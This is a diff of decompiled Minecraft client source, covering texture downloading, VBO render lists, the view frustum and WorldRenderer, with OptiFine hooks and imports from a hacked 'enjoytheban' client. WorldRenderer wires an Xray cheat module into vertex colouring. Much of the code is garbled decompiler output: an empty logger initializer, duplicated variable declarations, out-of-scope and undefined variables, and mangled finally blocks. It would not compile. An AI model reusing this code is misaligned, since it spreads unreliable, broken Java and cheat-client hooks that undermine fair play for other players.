+import optifine.HttpPipeline;
+import optifine.HttpRequest;
+import optifine.HttpResponse;
+import org.apache.commons.io.FileUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ThreadDownloadImageData
+  extends SimpleTexture
+{
+  private static final Logger logger = ;
+  private static final AtomicInteger threadDownloadCounter = new AtomicInteger(0);
+  private final File field_152434_e;
+  private final String imageUrl;
+  private final IImageBuffer imageBuffer;
+  private BufferedImage bufferedImage;
+  private Thread imageThread;
+  private boolean textureUploaded;
+  private static final String __OBFID = "CL_00001049";
+  public Boolean imageFound = null;
+  public boolean pipeline = false;
+  
+  public ThreadDownloadImageData(File p_i1049_1_, String p_i1049_2_, ResourceLocation p_i1049_3_, IImageBuffer p_i1049_4_)
+  {
+    super(p_i1049_3_);
+    field_152434_e = p_i1049_1_;
+    imageUrl = p_i1049_2_;
+    imageBuffer = p_i1049_4_;
+  }
+  
+  private void checkTextureUploaded()
+  {
+    if ((!textureUploaded) && (bufferedImage != null))
+    {
+      textureUploaded = true;
+      
+      if (textureLocation != null)
+      {
+        deleteGlTexture();
+      }
+      
+      TextureUtil.uploadTextureImage(super.getGlTextureId(), bufferedImage);
+    }
+  }
+  
+  public int getGlTextureId()
+  {
+    checkTextureUploaded();
+    return super.getGlTextureId();
+  }
+  
+  public void setBufferedImage(BufferedImage p_147641_1_)
+  {
+    bufferedImage = p_147641_1_;
+    
+    if (imageBuffer != null)
+    {
+      imageBuffer.func_152634_a();
+    }
+    
+    imageFound = Boolean.valueOf(bufferedImage != null);
+  }
+  
+  public void loadTexture(IResourceManager p_110551_1_) throws IOException
+  {
+    if ((bufferedImage == null) && (textureLocation != null))
+    {
+      super.loadTexture(p_110551_1_);
+    }
+    
+    if (imageThread == null)
+    {
+      if ((field_152434_e != null) && (field_152434_e.isFile()))
+      {
+        logger.debug("Loading http texture from local cache ({})", new Object[] { field_152434_e });
+        
+        try
+        {
+          bufferedImage = ImageIO.read(field_152434_e);
+          
+          if (imageBuffer != null)
+          {
+            setBufferedImage(imageBuffer.parseUserSkin(bufferedImage));
+          }
+          
+          imageFound = Boolean.valueOf(bufferedImage != null);
+        }
+        catch (IOException var3)
+        {
+          logger.error("Couldn't load skin " + field_152434_e, var3);
+          func_152433_a();
+        }
+      }
+      else
+      {
+        func_152433_a();
+      }
+    }
+  }
+  
+  protected void func_152433_a()
+  {
+    imageThread = new Thread("Texture Downloader #" + threadDownloadCounter.incrementAndGet())
+    {
+      public void run()
+      {
+        HttpURLConnection var1 = null;
+        ThreadDownloadImageData.logger.debug("Downloading http texture from {} to {}", new Object[] { imageUrl, field_152434_e });
+        
+        if (ThreadDownloadImageData.this.shouldPipeline())
+        {
+          ThreadDownloadImageData.this.loadPipelined();
+        }
+        else
+        {
+          try
+          {
+            var1 = (HttpURLConnection)new URL(imageUrl).openConnection(Minecraft.getMinecraft().getProxy());
+            var1.setDoInput(true);
+            var1.setDoOutput(false);
+            var1.connect();
+            
+            if (var1.getResponseCode() / 100 != 2)
+            {
+              if (var1.getErrorStream() != null)
+              {
+                Config.readAll(var1.getErrorStream());
+              }
+              
+              return;
+            }
+            
+            BufferedImage var6;
+            BufferedImage var6;
+            if (field_152434_e != null)
+            {
+              FileUtils.copyInputStreamToFile(var1.getInputStream(), field_152434_e);
+              var6 = ImageIO.read(field_152434_e);
+            }
+            else
+            {
+              var6 = TextureUtil.func_177053_a(var1.getInputStream());
+            }
+            
+            if (imageBuffer != null)
+            {
+              var6 = imageBuffer.parseUserSkin(var6);
+            }
+            
+            setBufferedImage(var6);
+          }
+          catch (Exception var61)
+          {
+            ThreadDownloadImageData.logger.error("Couldn't download http texture: " + var61.getClass().getName() + ": " + var61.getMessage());
+            return;
+          }
+          finally
+          {
+            if (var1 != null)
+            {
+              var1.disconnect();
+            }
+            
+            imageFound = Boolean.valueOf(bufferedImage != null);
+          }
+          if (var1 != null)
+          {
+            var1.disconnect();
+          }
+          
+          imageFound = Boolean.valueOf(bufferedImage != null);
+        }
+        
+      }
+    };
+    imageThread.setDaemon(true);
+    imageThread.start();
+  }
+  
+  private boolean shouldPipeline()
+  {
+    if (!pipeline)
+    {
+      return false;
+    }
+    
+
+    Proxy proxy = Minecraft.getMinecraft().getProxy();
+    return (proxy.type() != Proxy.Type.DIRECT) && (proxy.type() != Proxy.Type.SOCKS) ? false : imageUrl.startsWith("http://");
+  }
+  
+
+  private void loadPipelined()
+  {
+    try
+    {
+      HttpRequest var6 = HttpPipeline.makeRequest(imageUrl, Minecraft.getMinecraft().getProxy());
+      HttpResponse resp = HttpPipeline.executeRequest(var6);
+      
+      if (resp.getStatus() / 100 != 2)
+      {
+        return;
+      }
+      
+      byte[] body = resp.getBody();
+      ByteArrayInputStream bais = new ByteArrayInputStream(body);
+      BufferedImage var2;
+      BufferedImage var2;
+      if (field_152434_e != null)
+      {
+        FileUtils.copyInputStreamToFile(bais, field_152434_e);
+        var2 = ImageIO.read(field_152434_e);
+      }
+      else
+      {
+        var2 = TextureUtil.func_177053_a(bais);
+      }
+      
+      if (imageBuffer != null)
+      {
+        var2 = imageBuffer.parseUserSkin(var2);
+      }
+      
+      setBufferedImage(var2);
+    }
+    catch (Exception var9)
+    {
+      logger.error("Couldn't download http texture: " + var9.getClass().getName() + ": " + var9.getMessage());
+      return;
+    }
+    finally
+    {
+      imageFound = Boolean.valueOf(bufferedImage != null); } imageFound = Boolean.valueOf(bufferedImage != null);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/VboRenderList.java b/src/minecraft/net/minecraft/client/renderer/VboRenderList.java
new file mode 100644
index 0000000..840fe10
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/VboRenderList.java
@@ -0,0 +1,56 @@
+package net.minecraft.client.renderer;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.renderer.chunk.RenderChunk;
+import net.minecraft.client.renderer.vertex.VertexBuffer;
+import net.minecraft.util.EnumWorldBlockLayer;
+import org.lwjgl.opengl.GL11;
+import shadersmod.client.ShadersRender;
+
+public class VboRenderList extends ChunkRenderContainer
+{
+  public VboRenderList() {}
+  
+  public void func_178001_a(EnumWorldBlockLayer p_178001_1_)
+  {
+    if (field_178007_b)
+    {
+      Iterator var2 = field_178009_a.iterator();
+      
+      while (var2.hasNext())
+      {
+        RenderChunk var3 = (RenderChunk)var2.next();
+        VertexBuffer var4 = var3.func_178565_b(p_178001_1_.ordinal());
+        GlStateManager.pushMatrix();
+        func_178003_a(var3);
+        var3.func_178572_f();
+        var4.func_177359_a();
+        func_178010_a();
+        var4.func_177358_a(7);
+        GlStateManager.popMatrix();
+      }
+      
+      OpenGlHelper.func_176072_g(OpenGlHelper.field_176089_P, 0);
+      GlStateManager.func_179117_G();
+      field_178009_a.clear();
+    }
+  }
+  
+  private void func_178010_a()
+  {
+    if (optifine.Config.isShaders())
+    {
+      ShadersRender.setupArrayPointersVbo();
+    }
+    else
+    {
+      GL11.glVertexPointer(3, 5126, 28, 0L);
+      GL11.glColorPointer(4, 5121, 28, 12L);
+      GL11.glTexCoordPointer(2, 5126, 28, 16L);
+      OpenGlHelper.setClientActiveTexture(OpenGlHelper.lightmapTexUnit);
+      GL11.glTexCoordPointer(2, 5122, 28, 24L);
+      OpenGlHelper.setClientActiveTexture(OpenGlHelper.defaultTexUnit);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/VertexBufferUploader.java b/src/minecraft/net/minecraft/client/renderer/VertexBufferUploader.java
new file mode 100644
index 0000000..bbf2005
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/VertexBufferUploader.java
@@ -0,0 +1,21 @@
+package net.minecraft.client.renderer;
+
+import net.minecraft.client.renderer.vertex.VertexBuffer;
+
+public class VertexBufferUploader extends WorldVertexBufferUploader
+{
+  private VertexBuffer field_178179_a = null;
+  private static final String __OBFID = "CL_00002532";
+  
+  public VertexBufferUploader() {}
+  
+  public int draw(WorldRenderer p_178177_1_, int p_178177_2_) { p_178177_1_.reset();
+    field_178179_a.func_177360_a(p_178177_1_.func_178966_f(), p_178177_1_.func_178976_e());
+    return p_178177_2_;
+  }
+  
+  public void func_178178_a(VertexBuffer p_178178_1_)
+  {
+    field_178179_a = p_178178_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/ViewFrustum.java b/src/minecraft/net/minecraft/client/renderer/ViewFrustum.java
new file mode 100644
index 0000000..f80ad8d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/ViewFrustum.java
@@ -0,0 +1,185 @@
+package net.minecraft.client.renderer;
+
+import net.minecraft.client.renderer.chunk.IRenderChunkFactory;
+import net.minecraft.client.renderer.chunk.RenderChunk;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+
+public class ViewFrustum
+{
+  protected final RenderGlobal field_178169_a;
+  protected final net.minecraft.world.World field_178167_b;
+  protected int field_178168_c;
+  protected int field_178165_d;
+  protected int field_178166_e;
+  public RenderChunk[] field_178164_f;
+  
+  public ViewFrustum(net.minecraft.world.World worldIn, int renderDistanceChunks, RenderGlobal p_i46246_3_, IRenderChunkFactory p_i46246_4_)
+  {
+    field_178169_a = p_i46246_3_;
+    field_178167_b = worldIn;
+    func_178159_a(renderDistanceChunks);
+    func_178158_a(p_i46246_4_);
+  }
+  
+  protected void func_178158_a(IRenderChunkFactory p_178158_1_)
+  {
+    int var2 = field_178165_d * field_178168_c * field_178166_e;
+    field_178164_f = new RenderChunk[var2];
+    int var3 = 0;
+    
+    for (int var4 = 0; var4 < field_178165_d; var4++)
+    {
+      for (int var5 = 0; var5 < field_178168_c; var5++)
+      {
+        for (int var6 = 0; var6 < field_178166_e; var6++)
+        {
+          int var7 = (var6 * field_178168_c + var5) * field_178165_d + var4;
+          BlockPos var8 = new BlockPos(var4 * 16, var5 * 16, var6 * 16);
+          field_178164_f[var7] = p_178158_1_.func_178602_a(field_178167_b, field_178169_a, var8, var3++);
+        }
+      }
+    }
+  }
+  
+  public void func_178160_a()
+  {
+    RenderChunk[] var1 = field_178164_f;
+    int var2 = var1.length;
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      RenderChunk var4 = var1[var3];
+      var4.func_178566_a();
+    }
+  }
+  
+  protected void func_178159_a(int renderDistanceChunks)
+  {
+    int var2 = renderDistanceChunks * 2 + 1;
+    field_178165_d = var2;
+    field_178168_c = 16;
+    field_178166_e = var2;
+  }
+  
+  public void func_178163_a(double viewEntityX, double viewEntityZ)
+  {
+    int var5 = MathHelper.floor_double(viewEntityX) - 8;
+    int var6 = MathHelper.floor_double(viewEntityZ) - 8;
+    int var7 = field_178165_d * 16;
+    
+    for (int var8 = 0; var8 < field_178165_d; var8++)
+    {
+      int var9 = func_178157_a(var5, var7, var8);
+      
+      for (int var10 = 0; var10 < field_178166_e; var10++)
+      {
+        int var11 = func_178157_a(var6, var7, var10);
+        
+        for (int var12 = 0; var12 < field_178168_c; var12++)
+        {
+          int var13 = var12 * 16;
+          RenderChunk var14 = field_178164_f[((var10 * field_178168_c + var12) * field_178165_d + var8)];
+          BlockPos posChunk = var14.func_178568_j();
+          
+          if ((posChunk.getX() != var9) || (posChunk.getY() != var13) || (posChunk.getZ() != var11))
+          {
+            BlockPos var15 = new BlockPos(var9, var13, var11);
+            
+            if (!var15.equals(var14.func_178568_j()))
+            {
+              var14.func_178576_a(var15);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  private int func_178157_a(int p_178157_1_, int p_178157_2_, int p_178157_3_)
+  {
+    int var4 = p_178157_3_ * 16;
+    int var5 = var4 - p_178157_1_ + p_178157_2_ / 2;
+    
+    if (var5 < 0)
+    {
+      var5 -= p_178157_2_ - 1;
+    }
+    
+    return var4 - var5 / p_178157_2_ * p_178157_2_;
+  }
+  
+  public void func_178162_a(int p_178162_1_, int p_178162_2_, int p_178162_3_, int p_178162_4_, int p_178162_5_, int p_178162_6_)
+  {
+    int var7 = MathHelper.bucketInt(p_178162_1_, 16);
+    int var8 = MathHelper.bucketInt(p_178162_2_, 16);
+    int var9 = MathHelper.bucketInt(p_178162_3_, 16);
+    int var10 = MathHelper.bucketInt(p_178162_4_, 16);
+    int var11 = MathHelper.bucketInt(p_178162_5_, 16);
+    int var12 = MathHelper.bucketInt(p_178162_6_, 16);
+    
+    for (int var13 = var7; var13 <= var10; var13++)
+    {
+      int var14 = var13 % field_178165_d;
+      
+      if (var14 < 0)
+      {
+        var14 += field_178165_d;
+      }
+      
+      for (int var15 = var8; var15 <= var11; var15++)
+      {
+        int var16 = var15 % field_178168_c;
+        
+        if (var16 < 0)
+        {
+          var16 += field_178168_c;
+        }
+        
+        for (int var17 = var9; var17 <= var12; var17++)
+        {
+          int var18 = var17 % field_178166_e;
+          
+          if (var18 < 0)
+          {
+            var18 += field_178166_e;
+          }
+          
+          int var19 = (var18 * field_178168_c + var16) * field_178165_d + var14;
+          RenderChunk var20 = field_178164_f[var19];
+          var20.func_178575_a(true);
+        }
+      }
+    }
+  }
+  
+  protected RenderChunk func_178161_a(BlockPos p_178161_1_)
+  {
+    int var2 = MathHelper.bucketInt(p_178161_1_.getX(), 16);
+    int var3 = MathHelper.bucketInt(p_178161_1_.getY(), 16);
+    int var4 = MathHelper.bucketInt(p_178161_1_.getZ(), 16);
+    
+    if ((var3 >= 0) && (var3 < field_178168_c))
+    {
+      var2 %= field_178165_d;
+      
+      if (var2 < 0)
+      {
+        var2 += field_178165_d;
+      }
+      
+      var4 %= field_178166_e;
+      
+      if (var4 < 0)
+      {
+        var4 += field_178166_e;
+      }
+      
+      int var5 = (var4 * field_178168_c + var3) * field_178165_d + var2;
+      return field_178164_f[var5];
+    }
+    
+
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/WorldRenderer.java b/src/minecraft/net/minecraft/client/renderer/WorldRenderer.java
new file mode 100644
index 0000000..90e64d4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/WorldRenderer.java
@@ -0,0 +1,945 @@
+package net.minecraft.client.renderer;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.modules.render.Xray;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import java.util.Arrays;
+import java.util.List;
+import java.util.PriorityQueue;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.renderer.vertex.VertexFormat;
+import net.minecraft.client.renderer.vertex.VertexFormatElement;
+import net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType;
+import net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage;
+import net.minecraft.client.util.QuadComparator;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.MathHelper;
+import optifine.Config;
+import optifine.TextureUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.opengl.GL11;
+import shadersmod.client.SVertexBuilder;
+
+public class WorldRenderer
+{
+  private ByteBuffer byteBuffer;
+  public IntBuffer rawIntBuffer;
+  public FloatBuffer rawFloatBuffer;
+  public int vertexCount;
+  private double field_178998_e;
+  private double field_178995_f;
+  private int field_178996_g;
+  private int field_179007_h;
+  public int rawBufferIndex;
+  private boolean needsUpdate;
+  public int drawMode;
+  private double xOffset;
+  private double yOffset;
+  private double zOffset;
+  private int field_179003_o;
+  private int field_179012_p;
+  private VertexFormat vertexFormat;
+  private boolean isDrawing;
+  private int bufferSize;
+  private static final String __OBFID = "CL_00000942";
+  private EnumWorldBlockLayer blockLayer = null;
+  private boolean[] drawnIcons = new boolean['Ā'];
+  private TextureAtlasSprite[] quadSprites = null;
+  private TextureAtlasSprite[] quadSpritesPrev = null;
+  private TextureAtlasSprite quadSprite = null;
+  public SVertexBuilder sVertexBuilder;
+  
+  public WorldRenderer(int p_i46275_1_)
+  {
+    if (Config.isShaders())
+    {
+      p_i46275_1_ *= 2;
+    }
+    
+    bufferSize = p_i46275_1_;
+    byteBuffer = GLAllocation.createDirectByteBuffer(p_i46275_1_ * 4);
+    rawIntBuffer = byteBuffer.asIntBuffer();
+    rawFloatBuffer = byteBuffer.asFloatBuffer();
+    vertexFormat = new VertexFormat();
+    vertexFormat.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.FLOAT, VertexFormatElement.EnumUseage.POSITION, 3));
+    SVertexBuilder.initVertexBuilder(this);
+  }
+  
+  private void growBuffer(int p_178983_1_)
+  {
+    if (Config.isShaders())
+    {
+      p_178983_1_ *= 2;
+    }
+    
+    LogManager.getLogger().warn("Needed to grow BufferBuilder buffer: Old size " + bufferSize * 4 + " bytes, new size " + (bufferSize * 4 + p_178983_1_) + " bytes.");
+    bufferSize += p_178983_1_ / 4;
+    ByteBuffer var2 = GLAllocation.createDirectByteBuffer(bufferSize * 4);
+    rawIntBuffer.position(0);
+    var2.asIntBuffer().put(rawIntBuffer);
+    byteBuffer = var2;
+    rawIntBuffer = byteBuffer.asIntBuffer();
+    rawFloatBuffer = byteBuffer.asFloatBuffer();
+    
+    if (quadSprites != null)
+    {
+      TextureAtlasSprite[] sprites = quadSprites;
+      int quadSize = getBufferQuadSize();
+      quadSprites = new TextureAtlasSprite[quadSize];
+      System.arraycopy(sprites, 0, quadSprites, 0, Math.min(sprites.length, quadSprites.length));
+      quadSpritesPrev = null;
+    }
+  }
+  
+  public State getVertexState(float p_178971_1_, float p_178971_2_, float p_178971_3_)
+  {
+    int[] var4 = new int[rawBufferIndex];
+    PriorityQueue var5 = new PriorityQueue(rawBufferIndex, new QuadComparator(rawFloatBuffer, (float)(p_178971_1_ + xOffset), (float)(p_178971_2_ + yOffset), (float)(p_178971_3_ + zOffset), vertexFormat.func_177338_f() / 4));
+    int var6 = vertexFormat.func_177338_f();
+    TextureAtlasSprite[] quadSpritesSorted = null;
+    int quadStep = vertexFormat.func_177338_f() / 4 * 4;
+    
+    if (quadSprites != null)
+    {
+      quadSpritesSorted = new TextureAtlasSprite[vertexCount / 4];
+    }
+    
+
+
+    for (int var7 = 0; var7 < rawBufferIndex; var7 += var6)
+    {
+      var5.add(Integer.valueOf(var7));
+    }
+    
+    for (var7 = 0; !var5.isEmpty(); var7 += var6)
+    {
+      int var8 = ((Integer)var5.remove()).intValue();
+      
+
+      for (int indexQuad = 0; indexQuad < var6; indexQuad++)
+      {
+        var4[(var7 + indexQuad)] = rawIntBuffer.get(var8 + indexQuad);
+      }
+      
+      if (quadSpritesSorted != null)
+      {
+        indexQuad = var8 / quadStep;
+        int indexQuadSorted = var7 / quadStep;
+        quadSpritesSorted[indexQuadSorted] = quadSprites[indexQuad];
+      }
+    }
+    
+    rawIntBuffer.clear();
+    rawIntBuffer.put(var4);
+    
+    if (quadSprites != null)
+    {
+      System.arraycopy(quadSpritesSorted, 0, quadSprites, 0, quadSpritesSorted.length);
+    }
+    
+    return new State(var4, rawBufferIndex, vertexCount, new VertexFormat(vertexFormat), quadSpritesSorted);
+  }
+  
+  public void setVertexState(State p_178993_1_)
+  {
+    if (p_178993_1_.func_179013_a().length > rawIntBuffer.capacity())
+    {
+      growBuffer(2097152);
+    }
+    
+    rawIntBuffer.clear();
+    rawIntBuffer.put(p_178993_1_.func_179013_a());
+    rawBufferIndex = p_178993_1_.getRawBufferIndex();
+    vertexCount = p_178993_1_.getVertexCount();
+    vertexFormat = new VertexFormat(p_178993_1_.func_179016_d());
+    
+    if (stateQuadSprites != null)
+    {
+      if (quadSprites == null)
+      {
+        quadSprites = quadSpritesPrev;
+      }
+      
+      if ((quadSprites == null) || (quadSprites.length < getBufferQuadSize()))
+      {
+        quadSprites = new TextureAtlasSprite[getBufferQuadSize()];
+      }
+      
+      System.arraycopy(stateQuadSprites, 0, quadSprites, 0, stateQuadSprites.length);
+    }
+    else
+    {
+      if (quadSprites != null)
+      {
+        quadSpritesPrev = quadSprites;
+      }
+      
+      quadSprites = null;
+    }
+  }
+  
+  public void reset()
+  {
+    vertexCount = 0;
+    rawBufferIndex = 0;
+    vertexFormat.clear();
+    vertexFormat.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.FLOAT, VertexFormatElement.EnumUseage.POSITION, 3));
+    
+    if ((blockLayer != null) && (Config.isMultiTexture()))
+    {
+      if (quadSprites == null)
+      {
+        quadSprites = quadSpritesPrev;
+      }
+      
+      if ((quadSprites == null) || (quadSprites.length < getBufferQuadSize()))
+      {
+        quadSprites = new TextureAtlasSprite[getBufferQuadSize()];
+      }
+    }
+    else
+    {
+      if (quadSprites != null)
+      {
+        quadSpritesPrev = quadSprites;
+      }
+      
+      quadSprites = null;
+    }
+    
+    quadSprite = null;
+  }
+  
+  public void startDrawingQuads()
+  {
+    startDrawing(7);
+  }
+  
+  public void startDrawing(int p_178964_1_)
+  {
+    if (isDrawing)
+    {
+      throw new IllegalStateException("Already building!");
+    }
+    
+
+    isDrawing = true;
+    reset();
+    drawMode = p_178964_1_;
+    needsUpdate = false;
+  }
+  
+
+  public void setTextureUV(double p_178992_1_, double p_178992_3_)
+  {
+    if ((!vertexFormat.func_177347_a(0)) && (!vertexFormat.func_177347_a(1)))
+    {
+      VertexFormatElement var5 = new VertexFormatElement(0, VertexFormatElement.EnumType.FLOAT, VertexFormatElement.EnumUseage.UV, 2);
+      vertexFormat.func_177349_a(var5);
+    }
+    
+    field_178998_e = p_178992_1_;
+    field_178995_f = p_178992_3_;
+  }
+  
+  public void func_178963_b(int p_178963_1_)
+  {
+    if (!vertexFormat.func_177347_a(1))
+    {
+      if (!vertexFormat.func_177347_a(0))
+      {
+        vertexFormat.func_177349_a(new VertexFormatElement(0, VertexFormatElement.EnumType.FLOAT, VertexFormatElement.EnumUseage.UV, 2));
+      }
+      
+      VertexFormatElement var2 = new VertexFormatElement(1, VertexFormatElement.EnumType.SHORT, VertexFormatElement.EnumUseage.UV, 2);
+      vertexFormat.func_177349_a(var2);
+    }
+    
+    field_178996_g = p_178963_1_;
+  }
+  
+  public void func_178986_b(float p_178986_1_, float p_178986_2_, float p_178986_3_)
+  {
+    setPosition((int)(p_178986_1_ * 255.0F), (int)(p_178986_2_ * 255.0F), (int)(p_178986_3_ * 255.0F));
+  }
+  
+  public void func_178960_a(float p_178960_1_, float p_178960_2_, float p_178960_3_, float p_178960_4_)
+  {
+    func_178961_b((int)(p_178960_1_ * 255.0F), (int)(p_178960_2_ * 255.0F), (int)(p_178960_3_ * 255.0F), (int)(p_178960_4_ * 255.0F));
+  }
+  
+
+
+
+  public void setPosition(int p_78913_1_, int p_78913_2_, int p_78913_3_)
+  {
+    func_178961_b(p_78913_1_, p_78913_2_, p_78913_3_, 255);
+  }
+  
+  public void func_178962_a(int p_178962_1_, int p_178962_2_, int p_178962_3_, int p_178962_4_)
+  {
+    int var5 = (vertexCount - 4) * (vertexFormat.func_177338_f() / 4) + vertexFormat.func_177344_b(1) / 4;
+    int var6 = vertexFormat.func_177338_f() >> 2;
+    rawIntBuffer.put(var5, p_178962_1_);
+    rawIntBuffer.put(var5 + var6, p_178962_2_);
+    rawIntBuffer.put(var5 + var6 * 2, p_178962_3_);
+    rawIntBuffer.put(var5 + var6 * 3, p_178962_4_);
+  }
+  
+  public void func_178987_a(double p_178987_1_, double p_178987_3_, double p_178987_5_)
+  {
+    if (rawBufferIndex >= bufferSize - vertexFormat.func_177338_f())
+    {
+      growBuffer(2097152);
+    }
+    
+    int var7 = vertexFormat.func_177338_f() / 4;
+    int var8 = (vertexCount - 4) * var7;
+    
+    for (int var9 = 0; var9 < 4; var9++)
+    {
+      int var10 = var8 + var9 * var7;
+      int var11 = var10 + 1;
+      int var12 = var11 + 1;
+      rawIntBuffer.put(var10, Float.floatToRawIntBits((float)(p_178987_1_ + xOffset) + Float.intBitsToFloat(rawIntBuffer.get(var10))));
+      rawIntBuffer.put(var11, Float.floatToRawIntBits((float)(p_178987_3_ + yOffset) + Float.intBitsToFloat(rawIntBuffer.get(var11))));
+      rawIntBuffer.put(var12, Float.floatToRawIntBits((float)(p_178987_5_ + zOffset) + Float.intBitsToFloat(rawIntBuffer.get(var12))));
+    }
+  }
+  
+
+
+
+  public int getGLCallListForPass(int p_78909_1_)
+  {
+    return ((vertexCount - p_78909_1_) * vertexFormat.func_177338_f() + vertexFormat.func_177340_e()) / 4;
+  }
+  
+  public void func_178978_a(float p_178978_1_, float p_178978_2_, float p_178978_3_, int p_178978_4_)
+  {
+    int var5 = getGLCallListForPass(p_178978_4_);
+    int var6 = rawIntBuffer.get(var5);
+    
+
+
+
+    if (ByteOrder.nativeOrder() == ByteOrder.LITTLE_ENDIAN)
+    {
+      int var7 = (int)((var6 & 0xFF) * p_178978_1_);
+      int var8 = (int)((var6 >> 8 & 0xFF) * p_178978_2_);
+      int var9 = (int)((var6 >> 16 & 0xFF) * p_178978_3_);
+      var6 &= (Client.instance.getModuleManager().getModuleByClass(Xray.class).isEnabled() ? 1073741824 : -16777216);
+      var6 |= var9 << 16 | var8 << 8 | var7;
+    }
+    else
+    {
+      int var7 = (int)((field_179007_h >> 24 & 0xFF) * p_178978_1_);
+      int var8 = (int)((field_179007_h >> 16 & 0xFF) * p_178978_2_);
+      int var9 = (int)((field_179007_h >> 8 & 0xFF) * p_178978_3_);
+      var6 &= 0xFF;
+      var6 |= var7 << 24 | var8 << 16 | var9 << 8;
+    }
+    
+    if (needsUpdate)
+    {
+      var6 = -1;
+    }
+    
+    rawIntBuffer.put(var5, var6);
+  }
+  
+  private void func_178988_b(int p_178988_1_, int p_178988_2_)
+  {
+    int var3 = getGLCallListForPass(p_178988_2_);
+    int var4 = p_178988_1_ >> 16 & 0xFF;
+    int var5 = p_178988_1_ >> 8 & 0xFF;
+    int var6 = p_178988_1_ & 0xFF;
+    int var7 = p_178988_1_ >> 24 & 0xFF;
+    func_178972_a(var3, var4, var5, var6, var7);
+  }
+  
+  public void func_178994_b(float p_178994_1_, float p_178994_2_, float p_178994_3_, int p_178994_4_)
+  {
+    int var5 = getGLCallListForPass(p_178994_4_);
+    int var6 = MathHelper.clamp_int((int)(p_178994_1_ * 255.0F), 0, 255);
+    int var7 = MathHelper.clamp_int((int)(p_178994_2_ * 255.0F), 0, 255);
+    int var8 = MathHelper.clamp_int((int)(p_178994_3_ * 255.0F), 0, 255);
+    func_178972_a(var5, var6, var7, var8, 255);
+  }
+  
+  public void func_178972_a(int p_178972_1_, int p_178972_2_, int p_178972_3_, int p_178972_4_, int p_178972_5_)
+  {
+    if (ByteOrder.nativeOrder() == ByteOrder.LITTLE_ENDIAN)
+    {
+      rawIntBuffer.put(p_178972_1_, p_178972_5_ << 24 | p_178972_4_ << 16 | p_178972_3_ << 8 | p_178972_2_);
+    }
+    else
+    {
+      rawIntBuffer.put(p_178972_1_, p_178972_2_ << 24 | p_178972_3_ << 16 | p_178972_4_ << 8 | p_178972_5_);
+    }
+  }
+  
+  public void func_178961_b(int p_178961_1_, int p_178961_2_, int p_178961_3_, int p_178961_4_)
+  {
+    if (!needsUpdate)
+    {
+      if (p_178961_1_ > 255)
+      {
+        p_178961_1_ = 255;
+      }
+      
+      if (p_178961_2_ > 255)
+      {
+        p_178961_2_ = 255;
+      }
+      
+      if (p_178961_3_ > 255)
+      {
+        p_178961_3_ = 255;
+      }
+      
+      if (p_178961_4_ > 255)
+      {
+        p_178961_4_ = 255;
+      }
+      
+      if (p_178961_1_ < 0)
+      {
+        p_178961_1_ = 0;
+      }
+      
+      if (p_178961_2_ < 0)
+      {
+        p_178961_2_ = 0;
+      }
+      
+      if (p_178961_3_ < 0)
+      {
+        p_178961_3_ = 0;
+      }
+      
+      if (p_178961_4_ < 0)
+      {
+        p_178961_4_ = 0;
+      }
+      
+      if (!vertexFormat.func_177346_d())
+      {
+        VertexFormatElement var5 = new VertexFormatElement(0, VertexFormatElement.EnumType.UBYTE, VertexFormatElement.EnumUseage.COLOR, 4);
+        vertexFormat.func_177349_a(var5);
+      }
+      
+      if (ByteOrder.nativeOrder() == ByteOrder.LITTLE_ENDIAN)
+      {
+        field_179007_h = (p_178961_4_ << 24 | p_178961_3_ << 16 | p_178961_2_ << 8 | p_178961_1_);
+      }
+      else
+      {
+        field_179007_h = (p_178961_1_ << 24 | p_178961_2_ << 16 | p_178961_3_ << 8 | p_178961_4_);
+      }
+    }
+  }
+  
+  public void func_178982_a(byte p_178982_1_, byte p_178982_2_, byte p_178982_3_)
+  {
+    setPosition(p_178982_1_ & 0xFF, p_178982_2_ & 0xFF, p_178982_3_ & 0xFF);
+  }
+  
+  public void addVertexWithUV(double p_178985_1_, double p_178985_3_, double p_178985_5_, double p_178985_7_, double p_178985_9_)
+  {
+    if ((quadSprite != null) && (quadSprites != null))
+    {
+      p_178985_7_ = quadSprite.toSingleU((float)p_178985_7_);
+      p_178985_9_ = quadSprite.toSingleV((float)p_178985_9_);
+      quadSprites[(vertexCount / 4)] = quadSprite;
+    }
+    
+    setTextureUV(p_178985_7_, p_178985_9_);
+    addVertex(p_178985_1_, p_178985_3_, p_178985_5_);
+  }
+  
+  public void setVertexFormat(VertexFormat p_178967_1_)
+  {
+    vertexFormat = new VertexFormat(p_178967_1_);
+    
+    if (Config.isShaders())
+    {
+      SVertexBuilder.endSetVertexFormat(this);
+    }
+  }
+  
+  public void func_178981_a(int[] p_178981_1_)
+  {
+    if (Config.isShaders())
+    {
+      SVertexBuilder.beginAddVertexData(this, p_178981_1_);
+    }
+    
+    int var2 = vertexFormat.func_177338_f() / 4;
+    vertexCount += p_178981_1_.length / var2;
+    rawIntBuffer.position(rawBufferIndex);
+    rawIntBuffer.put(p_178981_1_);
+    rawBufferIndex += p_178981_1_.length;
+    
+    if (Config.isShaders())
